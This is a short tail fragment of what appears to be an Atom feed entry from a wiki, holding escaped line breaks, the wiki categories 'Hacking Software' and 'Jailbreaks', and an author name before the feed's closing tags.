&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
</feed>